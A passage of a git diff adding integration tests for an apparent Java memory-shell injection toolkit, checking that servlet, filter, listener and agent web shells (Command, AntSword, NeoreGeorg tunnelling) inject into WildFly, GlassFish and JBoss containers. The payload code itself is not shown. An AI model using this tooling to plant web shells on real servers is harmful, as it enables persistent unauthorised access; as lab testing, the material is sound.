org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Wildfly26ContainerTest { + public static final String imageName = "quay.io/wildfly/wildfly:26.1.3.Final-jdk11"; + static Network network = Network.newNetwork(); + @Container + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jbossPid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + String server = Server.Undertow; + List supportedShellTypes = List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + ); + List testPackers = List.of(Packers.JSP); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V11, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = { ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V11); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly27ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly27ContainerTest.java new file mode 100644 index 00000000..bc4d235e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly27ContainerTest.java @@ -0,0 +1,88 @@ +package com.reajason.javaweb.integration.memshell.wildfly; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Wildfly27ContainerTest { + public static final String imageName = "quay.io/wildfly/wildfly:27.0.1.Final-jdk11"; + static Network network = Network.newNetwork(); + @Container + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jbossPid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + String server = Server.Undertow; + List supportedShellTypes = List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + ); + List testPackers = List.of(Packers.JSP); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, + null, List.of(ShellTool.AntSword) // AntSword not support jakarta + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V11, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V11); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java index ea033a9b..c4816141 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java @@ -4,6 +4,7 @@ import com.reajason.javaweb.probe.payload.BasicInfoPrinter; import com.reajason.javaweb.probe.payload.JdkProbe; import com.reajason.javaweb.probe.payload.ServerProbe; +import com.reajason.javaweb.probe.payload.filter.*; import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; import org.apache.commons.codec.binary.Base64; @@ -17,7 +18,7 @@ public class DetectionTool { public static String getBase64Class(Class clazz) { return Base64.encodeBase64String(new ByteBuddy() .redefine(clazz) - .name(CommonUtil.generateShellClassName()) + .name(CommonUtil.generateClassName()) .visit(TargetJreVersionVisitorWrapper.DEFAULT) .make().getBytes()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java index 5c0eed8b..bdc0e395 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java @@ -2,10 +2,18 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; @@ -16,10 +24,13 @@ import java.nio.file.Files; import java.nio.file.Paths; -import java.time.Duration; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -42,6 +53,11 @@ static void setup() { container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); } + @AfterAll + static void teardown() { + log.info(container.getLogs()); + } + @Test void testJDK() { String url = getUrl(container); @@ -77,4 +93,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java index bdea4a44..6c65250b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; @@ -17,10 +24,13 @@ import java.nio.file.Files; import java.nio.file.Paths; -import java.time.Duration; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -83,4 +93,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java index 618dd7db..821a9aa4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.BeforeAll; @@ -16,9 +23,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -75,4 +86,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java index 7635a6cc..96eacab2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.BeforeAll; @@ -16,9 +23,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -76,4 +87,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java index 67aecac7..b687aaee 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.BeforeAll; @@ -16,9 +23,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -76,4 +87,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V11, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java index 5cb578a8..58efd5d1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; @@ -17,9 +24,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -82,4 +93,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V17); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java index bb325f9c..a7e8d6bc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -70,4 +81,22 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); } + + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java index e71152ae..e429271b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +80,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java index c9a731fb..95199194 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +80,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java index 5252e1bb..9c5f59d2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +80,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, 